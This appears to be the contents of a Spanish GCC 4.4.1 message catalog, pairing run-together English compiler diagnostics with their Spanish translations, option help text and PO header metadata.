unexpected multiplicative operandunexpected operandunexpected side-effects in addressunimplemented functionalityunimplemented-shmedia profilinguninitialized const %qDuninitialized const in %<new%> of %q#Tuninitialized const member %qDunion cannot be made transparentunion has no membersunion has no named membersunknown -m%s= option specified: '%s'unknown -malign-XXXXX option specified: '%s'unknown -mdebug-%s switchunknown -mtraceback arg %qs; expecting %<full%>, %<partial%> or %<none%>unknown ABI specified: '%s'unknown CRIS cpu version specification in -mtune= : %sunknown CRIS version specification in -march= or -mcpu= : %sunknown action %qs for %<#pragma pack%> - ignoredunknown array size in deleteunknown cc_attr valueunknown conversion type character %qc in formatunknown conversion type character 0x%x in formatunknown demangling style '%s'unknown field %qE specified in initializerunknown insn modeunknown ira algorithm "%s"unknown ira region "%s"unknown machine mode %qsunknown move insn:unknown operator '%s' in %%:version-compareunknown option after %<#pragma GCC diagnostic%> kindunknown register name %qs in %<asm%>unknown register name: %sunknown relocation unspecunknown spec function '%s'unknown stack check parameter "%s"unknown tls-model "%s"unknown value %s for -mfpuunknown vectorization library ABI type (%s) for %sveclibabi=%s %sunnamed initializer for %qT, which has no base classesunnamed initializer for %qT, which uses multiple inheritanceunnamed struct/union that defines no instancesunnamed variable or field declared voidunnecessary EH edge %i->%iunordered comparison on non-floating point argumentunreachable bytecode from %d to before %dunreachable bytecode from %d to the end of the methodunrecogized wide sub-instructionunrecognised debug output level "%s"unrecognizable insn:unrecognized addressunrecognized command line option "%s"unrecognized format specifierunrecognized gcc debugging option: %cunrecognized include_flags 0x%x passed to print_specific_helpunrecognized option '-%s'unrecognized register name "%s"unrecognized section name "%s"unrecognized supposed constantunrecognized visibility value "%s"unrecoverable errorunresolved overload for Altivec builtin %qFunsupported argument to %<__builtin_frame_address%>unsupported argument to %<__builtin_return_address%>unsupported combination: %sunsupported non-standard concatenation of string literalsunsupported non-standard suffix on floating constantunsupported operand size for extended registerunterminated assembly dialect alternativeunterminated format stringunused arguments in $-style formatunused parameter %q+Dunused variable %q+Dunwind tables currently require a frame pointer for correctnessunwind tables currently require either a frame pointer or %saccumulate-outgoing-args%s for correctnessupper value in case label range exceeds maximum value for typeuse #include insteaduse %<%T::%D%> instead of %<%T::%D%> to name the constructor in a qualified nameuse %<%T::template %D%> to indicate that it is a templateuse %<-fobjc-exceptions%> to enable Objective-C exception syntaxuse %<...%> to expand argument packuse -Winvalid-pch for more informationuse -flax-vector-conversions to permit conversions between vectors with differing element types or numbers of subpartsuse __attribute__ ((vector_size)) insteaduse of %<auto%> variable from containing functionuse of %<complex%> in AltiVec types is invaliduse of %<double%> in AltiVec types is invaliduse of %<long double%> in AltiVec types is invaliduse of %<long long%> in AltiVec types is invaliduse of %<long%> in AltiVec types is deprecated; use %<int%>use of %<long%> in AltiVec types is invalid for 64-bit codeuse of %qs in templateuse of %qs length modifier with %qc type characteruse of %s and %s together in %s formatuse of %s and %s together with %<%%%c%> %s formatuse of boolean types in AltiVec types is invaliduse of class template %qT as expressionuse of decimal floating point types in AltiVec types is invaliduse of enum %q#D without previous declarationuse of memory input without lvalue in asm operand %d is deprecateduse of namespace %qD as expressionuse of old-style castuse option -std=c99 or -std=gnu99 to compile your codeuse template<> for an explicit specializationuse the -fno-jump-tables switch insteadused array that cannot be converted to pointer where scalar is requiredused hereused struct type value where scalar is requiredused union type value where scalar is requireduseless %<__thread%> in empty declarationuseless storage class specifier in empty declarationuseless type name in empty declarationuseless type qualifier in empty declarationuser-defined %qD always evaluates both argumentsusing %<typename%> outside of templateusing both @FILE with multiple files not implementedusing declaration %q+D conflicts with a previous using declarationusing invalid field %qDusing template type parameter %qT after %qsusing typedef-name %qD after %qsusing-declaration for non-member at class scopevalidate_value_data: Loop in regno chain (%u)validate_value_data: [%u] Bad next_regno for empty chain (%u)validate_value_data: [%u] Bad oldest_regno (%u)validate_value_data: [%u] Non-empty reg in chain (%s %u %i)value %<%s%> for -mtune= switch is deprecatedvalue computed is not usedvalue of -mfixed-range must have form REG1-REG2value passed to %<-m%s%> is too largevalue-initialization of referencevariable %q#D has initializer but incomplete typevariable %q+D declared %<inline%>variable %q+D definition is marked dllimportvariable %q+D might be clobbered by %<longjmp%> or %<vfork%>variable %qD has function typevariable %qD has initializer but incomplete typevariable in call_clobbered_vars but not marked call_clobberedvariable length array %qD is usedvariable length array %qs is usedvariable length array is usedvariable marked call_clobbered but not in call_clobbered_vars bitmap.variable or field %qE declared voidvariable or field %qs declared voidvariable or field declared voidvariable previously declared %<static%> redeclared %<extern%>variable tracking requested, but not supported by this debug formatvariable tracking requested, but useless unless producing debug infovariable-size type declared outside of any functionvariable-sized compound literalvariable-sized object %qD may not be initializedvariable-sized object may not be initializedvariably modified %qs at file scopevec_extract only accepts 2 argumentsvec_insert only accepts 3 argumentsvector %s %s domain error, in %s at %s:%uvector overflow in expressionvector size not an integral multiple of component sizeverification failed at PC=%d: %sverification failed: %sverify_call_clobbering failedverify_cgraph_node failedverify_eh_tree failedverify_flow_info failedverify_flow_info: Basic block %d succ edge is corruptedverify_flow_info: Block %i has loop_father, but there are no loopsverify_flow_info: Block %i lacks loop_fatherverify_flow_info: Duplicate edge %i->%iverify_flow_info: Incorrect blocks for fallthru %i->%iverify_flow_info: Incorrect fallthru %i->%iverify_flow_info: REG_BR_PROB does not match cfg %wi %iverify_flow_info: Wrong count of block %i %iverify_flow_info: Wrong count of edge %i->%i %iverify_flow_info: Wrong frequency of block %i %iverify_flow_info: Wrong probability of edge %i->%i %iverify_flow_insensitive_alias_info failedverify_flow_sensitive_alias_info failedverify_gimple failedverify_histograms failedverify_memory_partitions failedverify_ssa failedverify_stmts failedversion attribute is not a stringvirtual array %s[%lu]: element %lu out of bounds in %s, at %s:%dvirtual base %qT inaccessible in %qT due to ambiguityvirtual functions cannot be friendsvirtual non-class function %qsvisibility argument must be one of "default", "hidden", "protected" or "internal"visibility argument not a stringvisibility attribute not supported in this configuration; ignoredvoid value not ignored as it ought to bevolatile must be specified on any memory that is effected by DMAvtable layout for class %qT may not be ABI-compliantand may change in a future version of GCC due to implicit virtual destructorwarning: warning: '-x %s' after last input file has no effectwarning: --help argument %.*s is ambiguous, please be more specific
warning: -pipe ignored because -save-temps specifiedwarning: already-compiled .class files ignored with -Cwarning: unrecognized argument to --help= option: %.*s
warning: use of obsolete %%[ operator in specsweak declaration of %q+D after first use results in unspecified behaviorweak declaration of %q+D must be publicweak declaration of %q+D must precede definitionweak declaration of %q+D not supportedweakref %q+D must have static linkageweakref %q+D ultimately targets itselfwhen writing output to %s: %mwide character array initialized from incompatible wide stringwide character array initialized from non-wide stringwide string literal in %<asm%>width of %q+D exceeds its typewidth of %qs exceeds its typewill be assumed to return %<id%> and acceptwith %q+#Dwithin this contextwork-sharing region may not be closely nested inside of work-sharing, critical, ordered, master or explicit task regionwriting into constant object (argument %d)writing through null pointer (argument %d)wrong amount of branch edges after conditional jump %iwrong amount of branch edges after unconditional jump %iwrong edge %d->%d for PHI argumentwrong immediate use listwrong insn in the fallthru edgewrong number of arguments specified for %qs attributewrong number of arguments to function %<__builtin_next_arg%>wrong number of arguments to function %<va_start%>wrong number of template arguments (%d, should be %d%s)wrong number of template arguments (%d, should be %d)wrong outgoing edge flags at end of bb %dwrong type argument to abswrong type argument to bit-complementwrong type argument to conjugationwrong type argument to decrementwrong type argument to incrementwrong type argument to unary exclamation markwrong type argument to unary minuswrong type argument to unary plusx87 register return with x87 disabledxstormy16_print_operand: unknown codez/Architecturez/Architecture mode not supported on %szero or negative size array %q+Dzero vector sizezero width for bit-field %q+Dzero width for bit-field %qszero width in %s formatzero-length %s format stringzero-size array %qDProject-Id-Version: gcc 4.4.1
Report-Msgid-Bugs-To: http://gcc.gnu.org/bugs.html
POT-Creation-Date: 2009-07-15 13:37+0200
PO-Revision-Date: 2009-08-02 22:42-0500
Last-Translator: Cristian Othón Martínez Vera <cfuga@itam.mx>
Language-Team: Spanish <es@li.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
	%+#D

%s: %d: aviso: no se puede agregar la declaración de '%s' en la llamada a macro

%s: error al leer el fichero de entrada '%s': %s

%s: error fatal: fichero de información auxiliar corrupto en la línea %d

%s: aviso: faltan listas de parámetros en la declaración de '%s'

Tiempos de ejecución (segundos)

Para instrucciones de reporte de bichos, por favor vea:

Para instrucciones de reporte de bichos, por favor vea:
%s.

¿Continuar? (y ó n) 
Opciones del enlazador
======================


Las opciones que empiezan con -g, -f, -m, -O, -W, ó --param se pasan
 automáticamente a los varios subprocesos invocados por %s.  Para pasar
 otras opciones a estos procesos se deben usar las opciones -W<letra>.

salida de ldd con constructores/destructores.

write_c_file - el nombre de salida es %s, el prefijo es %s
                           Muestra tipos específicos de opciones de línea de comando
          %s        %qD        <anónimo>    Incluído en %s:%d:    incluído en línea de %qs    incluído en línea de %qs en %s:%d    incluído en línea de %qs en %s:%d:%d   en la conversión del puntero a miembro   en la conversión del puntero a función miembro  %q+#D  %q+#D se declaró aquí  (Use '-v --help' para mostrar las opciones de línea de comando de los subprocesos)
  -###                     Como -v pero no se ejecutan las opciones entre comillas y los comandos
  --bootclasspath RUTA    Sobreescribe la ruta interna de clases
  --classpath RUTA        Establece la ruta para encontrar ficheros .class
  --extdirs RUTA          Establece la ruta del directorio de extensiones
  --help                   Muestra esta información
  --help                  Muestra esta información, y finaliza
  --help={target|optimizers|warnings|params|[^]{joined|separate|undocumented}}[,...]
  --javap                 Genera la salida en formato 'javap'
  --sysroot=<directorio>   Usa el <directorio> como directorio raíz para
                           los encabezados y bibliotecas
  --target-help            Muestra opciones de línea de comando específicas del objetivo
  --version                Muestra la información de versión del compilador
  --version               Muestra el número de versión, y finaliza
  -B <directorio>          Agrega el <directorio> a las rutas de búsqueda del compilador
  -E                       Solamente preprocesa; no compila, ensambla o enlaza
  -IDIR                   Agrega el directorio a la ruta de clases
  -S                       Solamente compila; no ensambla o enlaza
  -V <versión>             Ejecuta el gcc con número de versión <versión>, si se instaló
  -Wa,<opciones>           Pasa <opciones> separadas por coma al ensamblador
  -Wl,<opciones>           Pasa <opciones> separadas por coma al enlazador
  -Wp,<opciones>           Pasa <opciones> separadas por coma al preprocesador
  -Xassembler <argumento>  Pasa el <argumento> al ensamblador
  -Xlinker <argumento>     Pasa el <argumento> al enlazador
  -Xpreprocessor <argumento> Pasa el <argumento> al preprocesador
  -a, --all-blocks                Muestra información por cada bloque básico
  -b <máquina>             Ejecuta gcc para el objetivo <máquina>, si se instaló
  -b, --branch-probabilities      Incluye las probabilidades de ramificación en la salida
  -c                       Compila y ensambla, pero no enlaza
  -c                      Desensambla los cuerpos de los métodos
  -c, --branch-counts             Se muestra el número de ramificaciones
                                    en lugar de los porcentajes
  -combine                 Pasa múltiples ficheros fuente al compilador al mismo tiempo
  -dumpmachine             Muestra el procesador objetivo del compilador
  -dumpspecs               Muestra todas las cadenas internas de especificación
  -dumpversion             Muestra la versión del compilador
  -f, --function-summaries        Muestra sumarios para cada función
  -h, --help                      Muestra esta información, y finaliza
  -l, --long-file-names           Usa nombres largos de ficheros para los
                                    ficheros fuentes incluidos
  -n, --no-output                 No crea un fichero de salida
  -o <fichero>             Coloca la salida en el <fichero>
  -o FICHERO              Establece el nombre del fichero de salida
  -o, --object-directory DIR|FICH Busca ficheros objeto en el DIRectorio o en el FICHero nombrado
  -p, --preserve-paths            Preserva todos los nombres de ruta de los componentes
  -pass-exit-codes         Salir con el código de error más alto de una fase
  -pipe                    Usa tuberías en lugar de ficheros intermedios
  -print-file-name=<bib>   Muestra la ruta completa a la biblioteca <bib>
  -print-libgcc-file-name  Muestra el nombre de la biblioteca que acompaña al compilador
  -print-multi-directory   Muestra el directorio raíz para las versiones de libgcc
  -print-multi-lib         Muestra el mapeo entre las opciones de línea de comando
                           y los múltiples directorios de búsqueda de bibliotecas
  -print-multi-os-directory Muestra la ruta relativa para las bibliotecas del SO
  -print-prog-name=<prog>  Muestra la ruta completa del programa componente del compilador <prog>
  -print-search-dirs       Muestra los directorios en la ruta de búsqueda del compilador
  -print-sysroot           Muestra el directorio de las bibliotecas objetivo
  -print-sysroot-headers-suffix Muestra el sufijo sysroot que se usa para buscar encabezados
  -save-temps              No borra los ficheros intermedios
  -specs=<fichero>         Sobrepone las especificaciones internas con el contenido del <fichero>
  -std=<estándar>          Asume que los ficheros de entrada son para el <estándar>
  -time                    Obtiene el tiempo de ejecución de cada subproceso
  -u, --unconditional-branches    Muestra cuentas de ramificaciones incondicionales también
  -v                       Muestra los programas invocados por el compilador
  -v, --verbose           Muestra información extra durante la ejecución
  -v, --version                   Muestra el número de versión, y finaliza
  -x <lenguaje>            Especifica el lenguaje de los siguientes ficheros de entrada
                           Los lenguajes permitidos incluyen: c c++ assembler none
                           'none' significa revertir a la conducta habitual de
                           adivinar el lenguaje basado en la extensión del fichero
  se requiere un id calificado  porque es un directorio que no es del sistema que duplica un directorio del sistema
  base %qT  porque la secuencia de conversión para el argumento es mejor  debido al miembro local %q+#D con el mismo nombre  debido al método local %q+#D con el mismo nombre  pero se requieren %d  pero no se impone a %<%T(const %T&)%>  pero no se impone a %<operator=(const %T&)%>  por %q+D  las conversiones candidatas incluyen %qD y %qD  no se puede usar la asignación obsoleta en %q+D porque tiene un destructor  genera un conflicto con %q+D  cruza la inicialización de %q+#D  entra al bloque estructurado OpenMP  entra al bloque catch  entra en el ámbito de %q+#D que no es POD  entra al bloque try  sale del bloque estructurado OpenMP  se esperaba una plantilla de clase, se obtuvo %qE  se esperaba una plantilla de clase, se obtuvo %qT  se esperaba una constante de tipo %qT, se obtuvo %qT  se esperaba una plantilla de tipo %qD, se obtuvo %qD  se esperaba un tipo, se obtuvo %qE  se esperaba un tipo, se obtuvo %qT  para la conversión de %qT a %qT de la definición de %q+#D  desde aquí  en la llamada a %qD  en la evaluación de %<%Q(%#T, %#T)%>  en la instanciación de la plantilla %qT  en la expresión thrown  argumento de inicialización %P de %qD  coincide con este %q+D bajo las reglas de ISO estándar  coincide con este %q+D bajo las reglas antiguas  o a %<operator=(cont %T&)%>  se sustituye %q+#D  se sustituye %q+#F  ya que se declaró %q+#D en la clase base  salta la inicialización de %q+#D  se trata de instanciar %qD  se usa la asignación obsoleta en %q+D (frv)Ya se mostraron todas las opciones con las características deseadas
 No se encontraron opciones con las características deseadas
 No se encontró ninguna.  Use --help=%s para mostrar *todas* las opciones admitidas por el frente %s
 No se ejecutaron los stmts pendientes en el borde ENTRY (%d, %d)
 No se ejecutaron los stmts pendientes en el borde EXIT (%d, %d)
 No se ejecutaron los stmts pendientes en el borde PRED (%d, %d)
 No se ejecutaron los stmts pendientes en el borde SUCC (%d, %d)
 TOTAL                 : candidato 1: %q+#F candidato 2: %q+#F se usan interruptores de estilo de generación de código en conflicto oscurece el parámetro de plantilla %q+#DEl intrínseco IAND, IOR ó IEOR de la asignación !$OMP ATOMIC debe tener dos argumentos en %LEl intrínseco de la asignación !$OMP ATOMIC debe ser MIN, MAX, IAND, IOR ó IEOR en %LEl operador de la asignación !$OMP ATOMIC debe ser var = var op expr ó var = expr op var en %LLa asignación !$OMP ATOMIC debe tener un operador o intrínseco del lado derecho en %LEl operador de la asignación !$OMP ATOMIC debe ser +, -, /, .AND., .OR., .EQV. ó .NEQV. en %LLos argumentos del intrínseco !$OMP ATOMIC, excepto uno, no deben referenciar a '%s' en %LLos argumentos del intrínseco !$OMP ATOMIC deben ser escalares en %LLa declaración !$OMP ATOMIC debe definir una variable escalar de tipo intrínseco en %L!$OMP ATOMIC var = var op expr no es matemáticamente equivalente a var = var op (expr) en %L!$OMP DO no puede ser un DO WHILE ó DO sin control de ciclo en %LLos ciclos !$OMP DO colapsados no forman un espacio de iteración rectangular en %LLa variable de iteración !$OMP DO debe ser de tipo entero en %LLa variable de iteración !$OMP DO no puede ser THREADPRIVATE en %LLa variable de iteración !$OMP DO está presente en una cláusula diferente de PRIVATE o LASTPRIVATE en %L!$OMP en %C inicia una línea comentada y no está seguido de un espacio ni es una continuación de línea"%s" no es una opción válida para el preprocesadorSe esperaba "::" después del módulo natural en %C pero no se encontró# %s %.2f %.2f
la búsqueda de #include "..." inicia aquí:
la búsqueda de #include <...> inicia aquí:
no se permite #pragma GCC diagnostic dentro de funciones#pragma GCC memregs debe preceder a cualquier declaración de función#pragma GCC memregs toma un número [0..16]no se permite #pragma GCC optimize dentro de funciones#pragma GCC optimize cadena... está mal formadono se permite #pragma GCC option dentro de funcionesNo se admite #pragma GCC target en este objetivo#pragma GCC target cadena... está mal formadoel #pragma GCC visibility debe tener push o pop a continuación#pragma GCC visibility push() debe especificar default, internal, hidden o protectedel #pragma GHS endXXXX no coincide con el startXXX previose encontró un #pragma GHS endXXXX sin un startXXX previoNo se admite #pragma extern_prefix en este objetivoimplementación de #pragma para %qs aparece después de que se incluye el fichero#pragma message: %sse encontró un #pragma pack (pop) sin un #pragma pack (push) coincidente#pragma pack no tiene efecto con -fpack-struct - descartadose encontró un #pragma pack (pop, %s) sin un #pragma pack (push, %s) coincidente#pragma pack(pop[, id], <n>) no se admite en este objetivo#pragma pack(push[, id], <n>) no se admite en este objetivose descarta #pragma redefine_extname debido a un conflicto con la declaración __asm__se descarta #pragma redefine_extname debido a un conflicto con un #pragma redefine_extname previose descarta #pragma redefine_extname debido a un conflicto con el renombrado previono se admite #pragma redefine_extname en este objetivo#pragma vtable ya no se admitese usó el número de operando $ después de un formato sin número de operando$ debe ser el último especificador del formato en %C%+D causa un conflicto de tipo de sección%<#pragma GCC optimize (cadena [,string]...)%> no tiene un %<)%> final.%<#pragma GCC optimize%> no es una cadena o un número%<#pragma GCC option%> no es una cadena%<#pragma GCC pch_preprocess%> debe ser primero%<#pragma GCC pop_options%> sin un %<#pragma GCC push_options%> correspondiente%<#pragma GCC target (cadena, [,cadena]...)%> no tiene un %<)%> final.%<#pragma align%> debe aparecer antes de la declaración de %D, se descarta%<#pragma omp barrier%> sólo se puede usar en declaraciones compuestas%<#pragma omp flush%> sólo se puede usar en declaraciones compuestas%<#pragma omp section%> sólo se puede usar en construcciones %<#pragma omp sections%>%<#pragma omp taskwait%> sólo se puede usar en declaraciones compuestasse usó la restricción %<%%%> con el último operando%<%%%c%> sólo produce los dos últimos dígitos del año%<%%%c%> sólo produce los dos últimos dígitos del año en algunos lugares%<%D::%D%> no es un miembro de %qT%<%T::%D%> no es un declarador válido%<%T::%D%> nombra al constructor%<%T::%D%> nombra al constructor en %qT%<%T::%D%> nombra al destructorno se encontró %<%c%s%> en el(los) protocolo(s)se declaró %<%s %E%> dentro de la lista de parámetrosel atributo de compatibilidad vtable 2.95 %<%s%> sólo aplica a clases C++el atributo de compatibilidad vtable 2.95 %<%s%> sólo aplica cuando se compila una kextse usó la restricción %<&%> sin una clase de registro%<-%s%> genera un conflicto con las otras opciones de la arquitectura, las cuales especifican un procesador %s%<-femit-struct-debug-detailed=dir:...%> debe permitir por lo menos tanto como %<-femit-struct-debug-detailed=ind:...%>%<-gnat%> escrito incorrectamente como %<-gant%>%<-march=%s%> no es compatible con la ABI seleccionada%<-mgp32%> y %<-mfp64%> sólo se pueden combinar si el objetivo admite las instrucciones mfhc1 y mthc1%<-mgp32%> y %<-mfp64%> sólo se pueden combinar al usar la ABI o32se utiliza %<-mgp32%> con una ABI de 64-bitse utiliza %<-mgp64%> con una ABI de 32-bitse utiliza %<-mgp64%> con un procesador de 32-bit%<-mips3d%> requiere %<-mpaired-single%>%<-mno-gpopt%> necesita %<-mexplicit-relocs%>%<...%> como argumentos.)%<...%> tiene un número de operandos inválido%<::main%> debe devolver %<int%>%<<:%> es una forma alternativa para %<[%>. Inserte espacios en blanco entre %<<%> y %<::%>%<<::%> no puede iniciar una lista de argumentos de plantillafalta un %<@end%> en el contexto de una implementación%<@end%> debe aparecer en el contexto de @implementationse usó %<@throw%> (rethrow) fuera de un bloque @catch%<@try%> sin %<@catch%> o %<@finally%>no se permite %<[*]%> en otro lugar que no sea el ámbido de prototipo de función%<[*]%> fuera de una declaraciónse usó %<_Sat%> sin %<_Fract%> o %<_Accum%>el atributo %<__BELOW100__%> solamente se aplica a variablesse aplicó %<__alignof%> a un campo de bitsel segundo argumento de %<__builtin_longjump%> debe ser 1se llamó a %<__builtin_next_arg%> sin un argumento%<__gcc_host_wide_int__%> no se define como %<long%> o %<long long%>%<__gcc_host_wide_int__%> no se define como un tipo%<__thread%> antes de %<extern%>%<__thread%> antes de %<static%>se usó %<__thread%> con %<auto%>se usó %<__thread%> con %<register%>se usó %<__thread%> con %<typedef%>se usó %<__thread%> con %qEun %<and%> de pruebas equivalentes mutuamente exclusivas siempre es 0la restricción del operando %<asm%> es incompatible con el tamaño del operandoel operando %<asm%> tiene restricciones imposiblesel operando %<asm%> requiere una recarga imposibleno se permiten los especificadores %<asm%> en miembros de datos que no son static%<auto%> en una declaración vacía en ámbito de ficheroespecificadores de función %<const%> y %<volatile%> en %qD inválidos en la declaración %sla etiqueta %<default%> en el ámbito de un identificador con tipo modificado variablemente no contiene una declaración switch que terminala etiqueta %<default%> en la expresión de declaración no contiene una declaración switch que terminala etiqueta %<default%> no está dentro de una declaración switchno se permite %<dynamic_cast%> sin -fno-rtti%<else%> sin un %<if%> previo%<enum %E%> se declaró en la declaración inicial del ciclo %<for%>%<explicit%> sólo se puede especificar para constructoressólo se permiten las declaraciones iniciales del ciclo %<for%> en modo C99%<friend%> sólo se puede especificar dentro de una claseatributo %<gnu_inline%> presente en %q+D%<inline%> en una declaración vacíano se permite %<inline%> en la declaración de la especialización friend de la plantilla %qDse especificó %<inline%> para la declaración de clase friendel especificador %<inline%> es inválido para la función %qs declarada fuera del ámbito global%<location_t%> no se define como un tipo%<locus%> no se define como un tipo%<long long long%> es demasiado largo para GCC%<long long%> inválido para %qs%<long%> y %<short%>  se especificaron juntos para %qs%<long%> inválido para %qs%<long%> o %<short%> inválidos para %qsse especificó %<long%> o %<short%> con char para %qsno se convierte la expresión de switch %<long%> a %<int%> en ISO Cla función %<noreturn%> devuelve un valor que no es voidel valor de %<num_threads%> debe ser positivo%<operator delete%> debe devolver el tipo %qT%<operator delete%> toma el tipo %qT como primer argumento%<operator new%> no debe regresar NULL a menos que se declare %<throw()%> (o -fcheck-new esté en efecto)%<operator new%> debe devolver el tipo %qT%<operator new%> toma el tipo %<size_t%> (%qT) como primer argumento%<operator=%> debe devolver una referencia a %<*this%>un %<or%> de pruebas no equivalentes sin coincidencia siempre es 1%<register%> en una declaración vacía en ámbito de fichero%<return%> con valor, en una función que devuelve void%<return%> sin valores, en una función que no devuelve void%<short%> inválido para %qs%<short%> o %<long%> inválidos para %qs%<signed%> y %<unsigned%> se especificaron juntos para %qs%<signed%> o %<unsigned%> inválido para %qsse aplicó %<sizeof%> a un campo de bits%<static%> puede no ser utilizado cuando se define (opuesto a la declaración) un dato miembro staticel especificador %<static%> es inválido para la función %qs declarada fuera del ámbito global%<struct %E%> se declaró en la declaración inicial del ciclo %<for%>%<this%> no está disponible para funciones miembro static%<threadprivate%> %qD no es un fichero, espacio de nombres o variable de ámbito de bloquela directiva %<threadprivate%> %qE no está en la definición %qT%<threadprivate%> %qE tiene tipo incompletolos atributos %<trap%> y %<far%> no son compatibles, se descarta %<far%>el atributo %<trap%> ya está en uso%<tree%> no se define como un tipo puntero%<tree%> no se define como un tipo se descartó %<typedef%> en esta declaración%<typename %T::%D%> nombra a %q#T, el cual no es una plantilla de clase%<typename %T::%D%> nombra a %q#T, el cual no es un tipose aplicó %<typeof%> a un campo de bits%<union %E%> se declaró en la declaración inicial del ciclo %<for%>se usó %<va_start%> en una función con argumentos fijosdeclaración de clase fuera de %<virtual%>no se puede calificar %<void%> si es el único parámetro%<void%> debe ser el único parámetrose renombró %D después de ser referenciado en el ensambladose descarta el calificador %E en asm%H   por un manejador anterior para %<%T%>%H   por un manejador anterior de %qT%H  desde aquí%H%<#pragma GCC pch_preprocess%> debe ser primero%H%<#pragma omp barrier%> sólo se puede usar en declaraciones compuestas%H%<#pragma omp flush%> sólo se puede usar en declaraciones compuestas%H%<#pragma omp section%> sólo se puede usar en construcciones %<#pragma omp sections%>%H%<#pragma omp taskwait%> sólo se puede usar en declaraciones compuestas%H%<#pragma%> no se permite aquí%H%<%E::%E%> %s%H%<%E::%E%> no se ha declarado%H%<%T::%E%> no se ha declarado%H%<%T::%E%> no es un tipo%Hel manejador %<...%> debe ser el último manejador para su bloque try%H%<::%D%> no se ha declarado%H%<::%E%> %s%H%<::%E%> no se ha declarado%Hel operador %<>>%> se tratará como dos en llaves en ángulo derechas en C++0x%H%<>>%> debe ser %<> >%> dentro de una lista de argumentos de plantilla anidada%H%<@encode%> debe especificar un tipo como un argumento%H%<__label%> no está al inicio de un bloque%H%<__thread%> antes de %qD%H%<auto%> cambiará su significado en C++0x; por favor bórrelo%H%<else%> sin un %<if%> previo%Hse usó %<friend%> fuera de la clase%H%<long long long%> es demasiado largo para GCC%Hla definición %<namespace%> no se permite aquí%Hla función %<noreturn%> devuelve%H%<template%> (como desambiguador) sólo se permite dentro de plantillas%Hno se puede usar %<this%> en este contexto%H%qD es un espacio de nombres%H%qD no es un miembro de %qD%H%qD no es un miembro de %qT%H%qD no es un nombre de espacio de nombres%H%qD se redeclaró con acceso diferente%Hse usa %qD sin parámetros de plantilla%H%qE %s%H%qE definido como un tipo erróneo de etiqueta%H%qE no tiene un tipo de clase%H%qE no nombra a un tipo%H%qE no se ha declarado%H%qE en la clase %qT no nombra un tipo%H%qE en el espacio de nombres %qE no nombra un tipo%H%qE no es una plantilla%H%qE no se declaró aquí (primer uso en esta función)%H%qE no se declaró aquí (no en una función)%H%qT no es una plantilla%H%qs no es válido para %qs%H%s%H%sel paquete de parámetros plantilla %qD no puede tener un argumento por defecto%H%sel paquete de parámetros plantilla no puede tener un argumento por defecto%H(Cada identificador no declarado solamente se reporta una vez%HValor de perfil corrupto: %s la cuenta general del perfilador (%d) no coincide con la cuenta BB (%d)%Hse debe usar una llave clase cuando se declara un friend%Hun id de plantilla no puede aparecer en una declaración using%Hno se permite una especificación de asm en una definición de función%Huna especialización explícita se debe preceder con %<template <>%>%Hse prohíbe el límite de matriz después del id de tipo entre paréntesis%Hel límite de la matriz no es una constante entera%Hel subíndice de la matriz está por arriba de los límites de la matriz%Hel subíndice de la matriz está por debajo de los límites de la matriz%Hel subíndice de la matriz está fuera de los límites de la matriz%Hno se permiten atributos en una definición de función%Hla declaración break no está dentro de un ciclo o switch%Hse usó la declaración break con un ciclo for de OpenMP%Hno se puede expandir el inicializador para el miembro %<%D%>%Hla etiqueta case %qE no está dentro de una declaración switch%Hla etiqueta case no se encuentra dentro de una declaración switch%Hla definición de clase no se puede declarar como friend%Hel argumento de collapse necesita ser una expresión entera constante positiva%Hlos ciclos colapsados no están perfectamente anidados%Hla declaración continue no está dentro de un ciclo%Hse crea un selector para el método %qE que no existe%Hdeclaración de %<~%T%> como miembro de %qT%Hla declaración de %qD en %qD la cual no incluye a %qD%Hla declaración de %qD en el espacio de nombres %qD el cual no incluye a %qD%Hlos argumentos por defecto sólo se permiten para parámetros de función%Hla diferencia entre %qE y %qD no tiene tipo entero%H%qs duplicado%Hla clase duplicadas sólo se compilará una vez%Hcalificador-cv duplicado%Hetiqueta duplicada %qD%Hparalelo contenedor%Hel valor de enumeración %qE no se maneja en un switch%Hla excepción del tipo %qT será atrapada%Hse esperaba una declaración de iteración o una inicialización%Hse esperaba el parámetro pack antes de %<...%>%Hse esperaba una cadena literal%Hla especialización de plantilla explícita no puede tener una clase de almacenamiento%Hla expresión en el declarador new debe tener un tipo integral o de enumeración%Hno se permite la calificación extra%Hel fichero termina en el argumento por defecto%Hno se admiten tipos de coma fija en C++%Hpara cada funcion en la que aparece.)%Hla declaración friend no nombra una clase o función%Hla función plantilla %qD se redeclaró commo una plantilla de clase%Hse esperaba un identificador después de %<@protocol%>%Hse descarta el #pragma %s %s%Hse descarta el valor de devolución de %qD, se declaró con el atributo warn_unused_result%Hse descarta el valor de devolución de la función declarada con el atributo warn_unused_result%Hse utilizó el tipo incompleto %qT en un especificador de nombre anidado%Hse proporciona un inicializador para la función%Hnombre de selector Objective-C++ inválido%Hnombre de clase inválido en la declaración de %qD%Hcombinación inválida de especificadores de tipo múltiples%Hpredicado controlador inválido%Hdeclaración inválida de plantilla miembro en la clase local%Hsalida inválida de un bloque estructurado OpenMP%Hfalta la expresión de decremento%Hid de plantilla inválido%Htipo inválido para la variable de iteración %qE%Huso inválido de %qD%Huso inválido de %qD en la especificación de enlazado%Huso inválido del constructor como una plantilla%Huso inválido del destructor %qD como un tipo%Huso inválido del nombre de plantilla %qE sin una lista de argumentos%Hla variable de iteración %qD no debe ser firstprivate%Hla variable de iteración %qD no debe ser reduction%Hbasura al final de %<#pragma GCC pch_preprocess%>%Hno se permite la palabra clave %<typename%> en este contexto (un inicializador de miembro calificado es implícitamente un tipo)%Hno se permite la palabra clave %<typename%> en este contexto (la clase base es implícitamente un tipo)%Hno se permite la palabra clave %<typename%> fuera de las plantillas%Hla variable local %qD no puede aparecer en este contexto%Hconstruct Objective-C++ %<@%D%> mal colocado%Hfalta el predicado controlador%Hfalta la expresión de incremento%Hse prohíbe mezclar declaraciones y definiciones de función%Hya no se admiten los valores de devolución nombrados%Hno se pueden definir tipos nuevos en un tipo de devolución%Hse usó %qD que no es plantilla como plantilla%Hno se colapsó lo suficiente para los ciclos%Hsolamente los constructores toman inicializadores base%Herror de decodificación en la lista de argumentos de plantilla%Hdefinición previa de %q+#T%Hdeclaración vacía%Hespecificador pure en la definición de función%Hredefinición de %q#T%Hla referencia a %<%T::%D%> es ambigua%Hla referencia a %qD es ambigua%Hsolicitud por el miembro %qE en el tipo %qT que no es clase%Hel calendarizador %<auto%> no toma un parámetro 